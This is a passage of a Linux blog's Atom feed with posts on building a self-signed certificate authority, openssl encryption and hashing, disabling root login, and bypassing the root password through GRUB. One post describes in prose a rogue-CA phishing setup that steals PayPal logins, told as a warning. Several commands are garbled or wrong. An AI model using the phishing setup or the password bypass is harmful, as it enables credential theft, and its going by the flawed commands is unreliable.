src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-149399358135825878</id><published>2009-12-21T19:52:00.002+05:30</published><updated>2010-04-10T12:26:33.458+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Certificate Authority'/><category scheme='http://www.blogger.com/atom/ns#' term='CA'/><category scheme='http://www.blogger.com/atom/ns#' term='secure HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTPS'/><title type='text'>Secure Site's CA(Certificate Authority) Explained!</title><content type='html'>When you browse through an email sites, bank sites or money transaction sites like &lt;a href="http://www.blogger.com/paypal.com"&gt;paypal&lt;/a&gt;, &lt;a href="http://gmail.com/"&gt;gmail&lt;/a&gt; etc, you may have noticed a lock at the bottom right corner, when you hover over it, it displays a CA name to which that site is authenticated to.&lt;br /&gt;&lt;div id="post_message_67234"&gt;&lt;br /&gt;CA means &lt;a href="http://en.wikipedia.org/wiki/Certificate_authority%20"&gt;Certificate Authority&lt;/a&gt;. In case of gmail, it is &lt;a href="http://www.thawte.com/"&gt;thawte&lt;/a&gt; consulting Ltd. CAs are commercially available &amp;amp; they charge for their service. Some are free while government agencies &amp;amp; Universities manage their own CAs. You can build your own too.&lt;br /&gt;&lt;br /&gt;The real question --&amp;gt; How the whole thing works?&lt;br /&gt;Well, CA issues digital certificates &amp;amp; generates public - private key pair. Digital certificate contains public key &amp;amp; site owner's identity. The private key is kept secret with the CA. So, when you open up a secure https site, the CA is there to confirm its authenticity &amp;amp; it tells you that it is the actual server or spot you are looking for. Its an example of trusted 3rd party. Its like, you send a sms to your girlfriend &amp;amp; your girlfriend checks your signature to confirm that its from you, just a crude example.&lt;br /&gt;&lt;br /&gt;***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***&lt;br /&gt;&lt;br /&gt;So, how to create your own CA.&lt;br /&gt;There are 2 steps in it --&amp;gt;&lt;br /&gt;1. Generating a Certificate signing request&lt;br /&gt;2. Creating a CA signed certificate&lt;br /&gt;&lt;br /&gt;Going through the first step:&lt;br /&gt;&lt;br /&gt;-&amp;gt; login as root &lt;br /&gt;&amp;gt;su -i &lt;br /&gt;password : &lt;root password=""&gt;&lt;br /&gt;&lt;br /&gt;-&amp;gt; Setting default values for the certificate. &lt;br /&gt;edit the file.&lt;br /&gt;&amp;gt;vi /etc/pki/tls/openssl.cnf&lt;br /&gt;&lt;br /&gt;Append some lines under "[CA_default]" in the file as given below.&lt;br /&gt;&lt;br /&gt;[ CA_default ]&lt;br /&gt;&lt;br /&gt;dir             = /etc/pki/CA           # Where everything is kept&lt;br /&gt;certificate     = $dir/my_ca.crt        # The CA certificate&lt;br /&gt;crl             = $dir/my_ca.crl                # The current CRL&lt;br /&gt;private_key     = $dir/private/my_ca.key # The private key&lt;br /&gt;&lt;br /&gt;Similarly under [ req_distinguished_name ], Edit as per your specification. &lt;br /&gt;&lt;br /&gt;[ req_distinguished_name ]&lt;br /&gt;&lt;br /&gt;countryName_default             = IN&lt;br /&gt;stateOrProvinceName_default     = Delhi&lt;br /&gt;localityName_default            = SouthEx&lt;br /&gt;0.organizationName_default      = Some_Company&lt;br /&gt;&lt;br /&gt;-&amp;gt; Creating supporting directories&lt;br /&gt;&amp;gt;cd /etc/pki/CA/&lt;br /&gt;&amp;gt; mkdir certs newcerts crl&lt;br /&gt;&lt;br /&gt;-&amp;gt; Create empty certificate index &amp;amp; create serial no. file for certificates&lt;br /&gt;&amp;gt;touch /etc/pki/CA/index.txt&lt;br /&gt;&amp;gt;echo 01 &amp;gt; /etc/pki/CA/serial&lt;br /&gt;&lt;br /&gt;-&amp;gt; Generate private key.&lt;br /&gt;&amp;gt;cd /etc/pki/CA&lt;br /&gt;&amp;gt;umask 077              // (changing default mask value)&lt;br /&gt;&amp;gt;openssl genrsa -out private/my_ca.key -des3 2048   &lt;br /&gt;my_ca.key is the name of key &amp;amp; 2048 is the length of key, rsa is the algo used.&lt;br /&gt;After the command is executed, a pass phrase will be asked, like this one&lt;br /&gt;__________________________________________________  _______________&lt;br /&gt;&lt;br /&gt;Generating RSA private key, 2048 bit long modulus&lt;br /&gt;..................................................  .........+++&lt;br /&gt;....................................+++&lt;br /&gt;e is 65537 (0x10001)&lt;br /&gt;Enter pass phrase for private/my_ca.key:&lt;br /&gt;Verifying - Enter pass phrase for private/my_ca.key:&lt;br /&gt;__________________________________________________  _______________  &lt;br /&gt;Enter pass phrase twice.&lt;br /&gt;&lt;br /&gt;Now going into the 2nd step:&lt;br /&gt;&lt;br /&gt;-&amp;gt; Create self signed certificate. &lt;br /&gt;&amp;gt;cd /etc/pki/CA&lt;br /&gt;&amp;gt;openssl req -new -x509 -key private/my_ca.key -days 365 &amp;gt; my_ca.crt&lt;br /&gt;After executing this command, it will prompt you for the pass phrase, you typed in the previous step &amp;amp; then you have to enter some general information related to the certificate. As you have changed some default values in the file /etc/pki/tls/openssl.cnf, you don't need to change those.&lt;br /&gt;It appeared like this for me. In the above command 365 days is the expiry date of the certificate.&lt;br /&gt;__________________________________________________  _______________&lt;br /&gt;[root@localhost CA]# openssl req -new -x509 -key private/my_ca.key -days 365 &amp;gt; my_ca.crt&lt;br /&gt;Enter pass phrase for private/my_ca.key:&lt;br /&gt;You are about to be asked to enter information that will be incorporated&lt;br /&gt;into your certificate request.&lt;br /&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;There are quite a few fields but you can leave some blank&lt;br /&gt;For some fields there will be a default value,&lt;br /&gt;If you enter '.', the field will be left blank.&lt;br /&gt;-----&lt;br /&gt;Country Name (2 letter code) [IN]:&lt;br /&gt;State or Province Name (full name) [Delhi]:&lt;br /&gt;Locality Name (eg, city) [SouthEx]:&lt;br /&gt;Organization Name (eg, company) [Some_Company]:&lt;br /&gt;Organizational Unit Name (eg, section) []:IT&lt;br /&gt;Common Name (eg, your name or your server's hostname) []:VIK&lt;br /&gt;Email Address []:vik@gmail.com&lt;br /&gt;[root@localhost CA]# &lt;br /&gt;__________________________________________________  _______________ &lt;br /&gt;&lt;br /&gt;Now CA certificate is ready. It should be made available to clients for download. We can use http (Apache) for this job.&lt;br /&gt;&lt;br /&gt;-&amp;gt; install httpd &amp;amp; mod_ssl &lt;br /&gt;&amp;gt;yum install httpd*  OR &amp;gt;rpm -ivh httpd* &lt;br /&gt;&amp;gt;yum install mod_ssl*  OR &amp;gt;rpm -ivh mod_ssl* &lt;br /&gt;Incase of &lt;a href="http://redhat.com/"&gt;redhat&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Yellowdog_Updater"&gt;yum&lt;/a&gt; resolves dependencies automatically&lt;br /&gt;&lt;br /&gt;-&amp;gt; restart http service &amp;amp; put it under chkconfig&lt;br /&gt;&amp;gt;service httpd restart&lt;br /&gt;&amp;gt;chkconfig --level 345 httpd on&lt;br /&gt;&lt;br /&gt;-&amp;gt; If firewall is enabled, unblock the traffic through port 80 &amp;amp; 443, mostly the ports are open but just to make sure.&lt;br /&gt;&amp;gt;iptables -A INPUT -p tcp --dport 80 -j ACCEPT&lt;br /&gt;&amp;gt;iptables -A INPUT -p tcp --dport 443 -j ACCEPT&lt;br /&gt;&amp;gt;service iptables save&lt;br /&gt;&lt;br /&gt;-&amp;gt; Now, link it to your already configured apache server (&amp;amp; dns). Create a directory /var/www/html/certs/ &amp;amp; copy the self signed certificate there &amp;amp; make sure it is world readable with &lt;a href="http://en.wikipedia.org/wiki/Security-Enhanced_Linux"&gt;SElinux&lt;/a&gt; type "httpd_sys_content_t". Issue the following commands. &lt;br /&gt;&amp;gt;chmod -R 555 /var/www/html/certs/&lt;br /&gt;&amp;gt;cp /etc/pki/CA/my_ca.crt /var/www/html/certs/&lt;br /&gt;&amp;gt;chcon -t httpd_sys_content_t /var/www/html/certs/&lt;br /&gt;&lt;br /&gt;/var/www/html/www.example.com/html/ is your document root of the site &amp;amp; www.example.com is your server name.&lt;br /&gt;Its done! If someone wants, I can write a simple tutorial on configuring apache + dns (with or without chroot &amp;amp; HTTP OR HTTPS).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now after all these steps, I assume your dns &amp;amp; apache are working properly (dig example.com returns ANSWER:NOERROR), try to browse your server, it will prompt for adding certificate that you created just now. Add the certificate to you browser. &lt;br /&gt;Your browser has an inbuilt list of well known certificates that you can see. &lt;br /&gt;&amp;gt;tools &amp;gt; option (or edit &amp;gt; preferences as per the version of firefox)  &lt;br /&gt;&amp;gt;advanced &amp;gt; encryptions &amp;gt; view certificates.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sometimes when we try to access a random site, mozilla firefox alerts for adding exception. &lt;br /&gt;&lt;img alt="" border="0" src="http://library.athabascau.ca/help/securitycertificates/FireFoxSCEFail.JPG" /&gt;&lt;br /&gt;Its because, your browser can't validate that site &amp;amp; its CA, you can browse that site after adding it as exception &amp;amp; taking the responsibilities of all threats.&lt;br /&gt;&lt;br /&gt;***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***---***&lt;br /&gt;&lt;br /&gt;Possible threats!&lt;br /&gt;let me generate a situation, assume I run a cyber cafe and I created a fake site of paypal and linked it with a self signed certificate of my own, as I did above. And I added that certificate to the default browsers of all my pcs.&lt;br /&gt;I configured it such that, when you enter the url - www.paypal.com, it directs you to my fake site signed with my own CA. &lt;br /&gt;Ya, I know you don't remember the CA for the genuine paypal site &amp;amp; you are not aware enough to check the name of CA to make sure its genuine.--PERFECT!!&lt;br /&gt;So, when you click login, it sends your username &amp;amp; password to my remote secret database file &amp;amp; the browser directs you to a fake connection timeout page. It makes you believe that there is some problem with the internet connection. After that, when you click try again or try refreshing the page, it will direct you to the actual paypal site. Ahh, the internet connection is back!!&lt;img alt="" border="0" class="inlineimg" src="http://www.undergroundsystems.org/forums/images/smilies/tongue.gif" title="Tongue" /&gt; &amp;amp; someone succeeded in his bad game!&lt;img alt="" border="0" class="inlineimg" src="http://www.undergroundsystems.org/forums/images/smilies/devil.gif" title="Devil" /&gt;&lt;br /&gt;&lt;br /&gt;So, be sure to check the CA, when you access https sites through public computers. Atleast you can remember some CAs of email site that are important to you &amp;amp; bank sites that ask your credit/debit/ATM card credentials. &lt;br /&gt;&lt;br /&gt;Check this out.. they are apparently implementing to some extent what I have discussed in this post&amp;nbsp;&lt;/root&gt;&lt;br /&gt;&lt;root password=""&gt;--&amp;gt; &lt;a href="http://www.wired.com/threatlevel/2010/03/packet-forensics/"&gt;http://www.wired.com/threatlevel/2010/03/packet-forensics/&lt;/a&gt;&lt;/root&gt;&lt;br /&gt;&lt;root password=""&gt;&lt;br /&gt;I hope it's quite informative.&lt;br /&gt;Thanks for reading it!&lt;br /&gt;&lt;br /&gt;Browser concerned in the Article : &lt;a href="http://www.mozilla.com/firefox/"&gt;Mozilla Firefox&lt;/a&gt;&lt;br /&gt;OS concerned in the Article : &lt;a href="http://www.redhat.com/rhel/server/"&gt;Redhat linux Server Enterprise Edition 5.2&lt;/a&gt; (might work on other linux distribution)&lt;br /&gt;&lt;br /&gt;sources of information :&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Certificate_authority" target="_blank"&gt;http://en.wikipedia.org/wiki/Certificate_authority&lt;/a&gt;&lt;br /&gt;Redhat Security Specialist Study books.   &lt;/root&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-149399358135825878?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/149399358135825878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/secure-sites-cacertificate-authority.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/149399358135825878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/149399358135825878'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/secure-sites-cacertificate-authority.html' title='Secure Site&apos;s CA(Certificate Authority) Explained!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2231228332469925204</id><published>2009-12-21T12:08:00.000+05:30</published><updated>2009-12-21T12:13:37.910+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><category scheme='http://www.blogger.com/atom/ns#' term='symmetric'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='asymmetric'/><title type='text'>Linux Cryptography explained (Symmetric encryption &amp; hashes).</title><content type='html'>&lt;strong&gt;&lt;/strong&gt;CRYPTOGRAPHY&lt;br /&gt;&lt;br /&gt;It is the art of protecting information by transforming it (encrypting it) into an unreadable format, called cipher text. Only those who possess a secret key can decipher (or decrypt) the message into plain text. Encrypted messages can sometimes be broken by cryptanalysis, also called code breaking, although modern cryptography techniques are virtually unbreakable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Symmetric Encryption:&lt;br /&gt;Encryption algorithms that use the same key for encrypting and for decrypting information are called symmetric-key algorithms. The symmetric key is also called a secret key because it is kept as a shared secret between the sender and receiver of information. Otherwise, the confidentiality of the encrypted information is compromised.&lt;br /&gt;&lt;br /&gt;Kerckhoff's principle (also called Kerckhoffs' assumption, axiom or law) was stated by Auguste Kerckhoffs in the 19th century: It states --&lt;br /&gt;“a cryptosystem should be secure even if everything about the system, except the key, is public knowledge”.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Symmetric encryption is of two types:&lt;br /&gt;1&gt; Stream ciphers (encrypt the bits of the message one at a time)&lt;br /&gt;2&gt; Block ciphers (take a number of bits and encrypt them as a single unit)&lt;br /&gt;&lt;br /&gt;Examples of Commands for encrypting &amp;amp; decrypting files in Linux:&lt;br /&gt;&gt;openssl enc -des3 -salt -a -in myfile.txt -out encryptedfile.des3&lt;br /&gt;&gt;openssl enc -d -des3 -salt -a -in encryptedfile.des3 -out myfile.txt&lt;br /&gt;  OR&lt;br /&gt;&gt;gpg -c --cipher-algo des3 myfile.txt&lt;br /&gt;&gt;gpg -d --cipher-algo des3 myfile.gpg&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"openssl enc" &amp;amp; gpg r utilities for encryption.&lt;br /&gt;des3 (block cipher) is an algorithm used for encryption. In place of it, aes (Advanced Encryption Standard algorithm approved by NIST in December 2001 uses 128-bit blocks), blowfish, twofish, CAST5 can be used for gpg. Similarly aes, blowfish, aes256,aes192, rc4 are for openssl enc.&lt;br /&gt;a = armour – convert into ASCII (unicode character must be converted into ascii code before encryption)&lt;br /&gt;salt = salt, to add uniqueness to same text(pc takes arbitrary salt value from the present state of cpu such as cursor position, RAM state etc)&lt;br /&gt;Eg. If two person have the same password, their encrypted password will be different, credit goes to salt value. U can see ur password's salt value in /etc/shadow file. It is a part of the encrypted password text that is between $s, like $12Re.jfhrr343!k$&lt;br /&gt;In gpg --ciper-algo is optional.&lt;br /&gt;&lt;br /&gt;Cryptographic Hashes:&lt;br /&gt;&lt;br /&gt;A "hash" (also called a "digest", and informally a "checksum") is a kind of "signature" for a stream of data that represents the contents.&lt;br /&gt;A hash function takes a string (or 'message') of any length as input and produces a fixed length string as output, sometimes termed a message digest or a digital fingerprint.&lt;br /&gt;&lt;br /&gt;To compute a message digest, issue the command:&lt;br /&gt;&gt;openssl dgst -sha1 /boot/grub/grub.conf&lt;br /&gt;&lt;br /&gt;If any one tampers grub, u will be informed (a shell script will do that which will compare previous checksum with present checksum).&lt;br /&gt;openssl dgst is a flexible tool for generating message digest.&lt;br /&gt;In place of grub path, it can be any file.&lt;br /&gt;U may use -md5, -sha, -sha256, -md4, -md2, -ripemd160 algos etc in redhat, in place of -sha1. Of course u have seen -md5 digest, when u r downloading some files, software, OS etc. It is used to confirm that the file downloaded has not been tampered in between while downloading.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2231228332469925204?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2231228332469925204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/linux-cryptography-explained-symmetric.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2231228332469925204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2231228332469925204'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/linux-cryptography-explained-symmetric.html' title='Linux Cryptography explained (Symmetric encryption &amp; hashes).'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2830776264543281121</id><published>2009-12-21T11:50:00.000+05:30</published><updated>2010-12-04T20:42:34.515+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='disable root login'/><category scheme='http://www.blogger.com/atom/ns#' term='change root login username'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='disable root'/><category scheme='http://www.blogger.com/atom/ns#' term='troubleshoot root login'/><category scheme='http://www.blogger.com/atom/ns#' term='linux root login'/><category scheme='http://www.blogger.com/atom/ns#' term='linux troubleshooting'/><title type='text'>Ways of Disabling Linux-ROOT login!!</title><content type='html'>&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;        &lt;hr style="color: rgb(170, 0, 0); background-color: rgb(170, 0, 0);" size="1"&gt;    &lt;!-- / icon and title --&gt;       &lt;!-- message --&gt;   &lt;div id="post_message_58355"&gt; If you wish to disable root login due to some security reasons or you wanna troubleshoot root login problem, here are some methods&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;1.----------&gt;&lt;br /&gt; &gt; Open the file /etc/passwd&lt;br /&gt; &gt; Append the line  root:x:0:0:root:/root:/bin/bash  to                             root:x:0:0:root:/root:/sbin/nologin&lt;br /&gt;   Root login is disabled now.&lt;br /&gt; [It's self explainatory] Undo it for enabling.&lt;br /&gt;&lt;br /&gt;2.-----------&gt;&lt;br /&gt; &gt; Change the rwx rights of file /etc/securetty to any value, other than 600(ie. rw-------). This file is tty login file.&lt;br /&gt;   Eg. chmod 644 /etc/securetty&lt;br /&gt;Undo it by, chmod 600 /etc/securetty&lt;br /&gt;&lt;br /&gt;3.-----------&gt;&lt;br /&gt; &gt; Open the file /etc/securetty&lt;br /&gt; &gt; Comment out the terminal using #, in which u wanna deny access to root.&lt;br /&gt;Take a look at my /etc/securetty file&lt;br /&gt;__________________________________________________&lt;br /&gt;#tty1&lt;br /&gt;       tty2&lt;br /&gt;       tty3&lt;br /&gt;       #tty4&lt;br /&gt;       tty5&lt;br /&gt;       tty6&lt;br /&gt;       vc/1&lt;br /&gt;       vc/2&lt;br /&gt;       vc/3&lt;br /&gt;       vc/4&lt;br /&gt;       vc/5&lt;br /&gt;       vc/6&lt;br /&gt;__________________________________________________&lt;br /&gt;&lt;br /&gt;   There are 6 cli terminals, which r marked as tty1,tty2 ........&lt;br /&gt;You can enter those by pressing combination of Alt+Ctrl+f1, ie. for terminal 1, for terminal 2 replace f1 by f2 &amp;amp; so on for other terminals.&lt;br /&gt;   Press Alt+Ctrl+f7, for coming back to the gui.&lt;br /&gt;   After you comment out the terminal, u can't login to that terminal, it will display :login incorrect&lt;br /&gt;(Undo by removing the hashes from file)&lt;br /&gt;&lt;br /&gt;4.-----------&gt;&lt;br /&gt;  &gt; Create a file in /etc directory by the name "nologin".&lt;br /&gt;In this method, all users get blocked.&lt;br /&gt;     Eg. Execute command --&gt; 'touch nologin' or 'cat nologin'&lt;br /&gt;&lt;br /&gt;5.-----------&gt;&lt;br /&gt;  &gt; Type the command --&gt;  'chage -E 0 root'&lt;br /&gt;    This command just expires the root password....&lt;br /&gt;Just try to observe the difference in the 1st line of file /etc/shadow, before &amp;amp; after the execution of the given command.&lt;br /&gt;&lt;br /&gt;root:$1$K2oyDN17$GqkZQHsHtnxpwrFCG7AI91:14203:0:99  999:7:::&lt;br /&gt;&lt;br /&gt;root:$1$K2oyDN17$GqkZQHsHtnxpwrFCG7AI91:14203:0:99  999:7::0:&lt;br /&gt;&lt;br /&gt;    Ya, you are right, there is a extra zero at the end. That stands for the days left, for your password expiry.&lt;br /&gt;    Undo it by issuing the command --&gt; 'chage -E NEVER root'  or 'chage -E 99999 root'&lt;br /&gt;    Issuing the last command will replace the 1st line of /etc/shadow to....&lt;br /&gt;&lt;br /&gt;root:$1$K2oyDN17$GqkZQHsHtnxpwrFCG7AI91:14203:0:99  999:7::99999:&lt;br /&gt;&lt;br /&gt;You can also do this by directly appending the file.&lt;br /&gt;                    &lt;br /&gt;6-------------&gt;&lt;br /&gt;Ok  first, &lt;u&gt;&lt;u&gt;&lt;b&gt;as root, you need to install sudo.&lt;/b&gt;&lt;/u&gt;&lt;/u&gt; Next, also as root, you need to edit the file /etc/sodoers. Add the following line --&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;username ALL=(ALL) ALL&lt;/pre&gt; &lt;/div&gt;replace username with the user you want to be able to access root permissions.&lt;br /&gt;now to disable the root account --&lt;br /&gt;as root type the following at the command prompt&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;passwd -l root&lt;/pre&gt; &lt;/div&gt;the -l flag will lock the root account. No longer will root logins be possible on your box. It is simple to get them back, you just need to do the following --&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 34px; text-align: left;"&gt;sudo passwd root yourpasswordhere&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;                                                     -------------X------------&lt;br /&gt;&lt;br /&gt;   Ofcourse, there are some more ways for blocking root login. But I don't wanna risk my PC, trying those now.&lt;br /&gt;   These methods works fine in Redhat &amp;amp; Mandriva, so these should work on other Linux OSs.&lt;br /&gt;For troubleshooting, these conditions should be checked for correct settings.&lt;br /&gt;If you get trapped, using these methods, try login at runlevel 1 at grub-menu or use rescue CD, as  I suggested in the thread&lt;br /&gt;"Securing ROOT password!!"&lt;br /&gt;&lt;br /&gt;*****************************Have A Nice Day &lt;img src="file:///D:/Documents/saved%20pages/US%20disable%20root%20login_files/cool.gif" alt="" title="Cool" class="inlineimg" border="0" /&gt;!!************************   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2830776264543281121?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2830776264543281121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/ways-of-disabling-linux-root-login.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2830776264543281121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2830776264543281121'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/ways-of-disabling-linux-root-login.html' title='Ways of Disabling Linux-ROOT login!!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-3764586865212232786</id><published>2009-12-21T11:36:00.000+05:30</published><updated>2009-12-21T11:47:27.563+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='install from hard disk linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Hard disk installation'/><category scheme='http://www.blogger.com/atom/ns#' term='linux installation'/><title type='text'>Linux Installation from hard-disk!</title><content type='html'>While installing linux, you might have seen the option -- installation form hard disk(internal or external), have you ever thought how that is done.&lt;br /&gt;I wonder some of you might be knowing it but its not so popular i guess, though its very useful, saves you from writing DVDs &amp;amp; CDs &amp;amp; your time &amp;amp; money too. I found this 3 months ago.&lt;br /&gt;Of course u require a OS pre-installed in your system.&lt;br /&gt;&lt;br /&gt;Click on the link &amp;amp; follow the instruction .&lt;a href="http://www.instantfundas.com/2007/08/install-any-linux-distro-directly-from.html"&gt;&lt;br /&gt;http://www.instantfundas.com/2007/08/install-any-linux-distro-directly-from.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.instantfundas.com/2007/08/install-any-linux-distro-directly-from.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There are two methods listed on the site, depending on your pre-installed system, whether it is windows or linux. If there are more than one linux OS installed in your system, then look for the OS whose grub menu appears at the boot time &amp;amp; apply the methods as mentioned in the site in that OS.&lt;br /&gt;&lt;br /&gt;After you did the configurations as given in the site, you have to boot the system &amp;amp; the select the title that you just made while editing /boot/grub/menu.lst or /boot/grub/grub.conf for linux. After some basic configurations, you have to select installation method - choose from Hard-disk &amp;amp; then select the drive Partition &amp;amp; give the path of *.iso image.&lt;br /&gt;I tried it 2 days ago, for me the path was /distro/suse1100.iso . (installing over linux)&lt;br /&gt;after that, its a normal installation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-3764586865212232786?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/3764586865212232786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/linux-installation-from-hard-disk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3764586865212232786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/3764586865212232786'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/linux-installation-from-hard-disk.html' title='Linux Installation from hard-disk!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2184303465755602421</id><published>2009-12-21T11:25:00.001+05:30</published><updated>2010-12-04T20:42:34.518+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='secure login'/><category scheme='http://www.blogger.com/atom/ns#' term='linux root password security'/><category scheme='http://www.blogger.com/atom/ns#' term='linux root password'/><category scheme='http://www.blogger.com/atom/ns#' term='root password'/><category scheme='http://www.blogger.com/atom/ns#' term='secure root password'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='linux troubleshooting'/><title type='text'>Securing ROOT password!!</title><content type='html'>&lt;b&gt;&lt;/b&gt;In case, u forget ur root password or u wanna access the system with root privileges without knowing root password, u can easily change it by following these steps &amp;gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;gt; Boot ur PC.&lt;br /&gt;&lt;br /&gt;&amp;gt; Switch to linux OS listed in the Grub menu &amp;amp; press e( in &lt;a href="http://redhat.com/"&gt;Redhat&lt;/a&gt;), if it doesn't works then press f2 (in&lt;a href="http://mandriva.com/"&gt; Mandriva&lt;/a&gt;), or try any other option which is listed in the boot screen untill u see the booting parameters for that OS, like...&lt;br /&gt;kernel (hd0,9)/vmlinuz BOOT_IMAGE=linux root=UUID=f39877a0-9a19-11dd-8a61-97b60b6e4958  resume=/dev/sda7 splash=verbose vga=788&lt;br /&gt;(ie. for Mandriva )&lt;br /&gt;&lt;br 